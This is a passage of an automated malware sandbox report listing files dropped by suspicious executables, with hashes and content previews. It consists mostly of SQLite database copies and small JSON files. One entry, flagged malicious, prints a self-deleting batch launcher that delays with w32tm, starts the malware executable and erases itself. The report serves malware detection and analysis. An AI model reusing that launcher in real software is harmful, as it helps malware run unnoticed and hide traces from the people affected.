                                                            C:\Users\user\AppData\Local\Temp\X6bBfvCpJA

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\XHzMou3tq1

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\XN4Ooj3jcC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\XW2OGMoFkl

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\XjDMwaKk1U

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\XpsLKlGlKO

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\XyFwAEqSbm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Y3PennDwJF

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Y7UrhWyzFX

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\Y9MXqdryU1

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Yr9fvIsVmH

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ZlVqfWsHZB

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\azapQg72u8

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\b1EeDrOljA

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\b2EBqkxCIc

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\bmrOCEwEHU

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):226
                                                            Entropy (8bit):5.22171602573056
                                                            Encrypted:false
                                                            SSDEEP:6:hCijTg3Nou1SV+DE1wkn23J/X4yKOZG1wkn23fZoq:HTg9uYDEmfZNfb
                                                            MD5:F9C4E4A6BF35015F6B21C001F9F0C95B
                                                            SHA1:318BEAE00D02FB477B223BD0DDED27108250E775
                                                            SHA-256:54C18197CE63E6DF5F9D18946E477C32F3C3D18502510F9981F15AEDCCAE1722
                                                            SHA-512:B8FBA5C3F1B4BC36E1465BA1CDC9894253406DF82FD27CB467D08C9543CB32D179A0D9AA1CD7697DF6D1B5DACECF1BF6461EE83A8293AFBE2558C3F87C97A883
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            Preview:@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\c50EBnOxbg.bat"

                                                            C:\Users\user\AppData\Local\Temp\c6jb0Uf8gQ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\cHfeJ6fVhg

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\cNJxG7noOm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\cvJOIZ2CsJ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):25
                                                            Entropy (8bit):4.403856189774723
                                                            Encrypted:false
                                                            SSDEEP:3:JOh0yBGPC:JOdBYC
                                                            MD5:15B279A4B5CA20E9BDFE572E41BDC0D8
                                                            SHA1:6975EB320D02351811DD20849CAAACA9191B1369
                                                            SHA-256:ABCCA9C68F7E38C020BE6AEAE870B6E2D108FFFBA48E4EE6249B9C0393EE1EF0
                                                            SHA-512:86850E74A824A39DEF7F5355922E8F38C62721B69B56AABC66D277057E94C16B53AF08364E3499CC2299CFBAC6DF649DFA245F4858AAB21A76B31C8A46A70B5F
                                                            Malicious:false
                                                            Preview:4H34bxEm5YDRanrUoWar9Xcjg

                                                            C:\Users\user\AppData\Local\Temp\cxH7gOT7Dl

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\dNR5HSwsiM

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\dTK1rAY2vv

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\eR0K4tWJqw

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\eSA5JILnyJ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
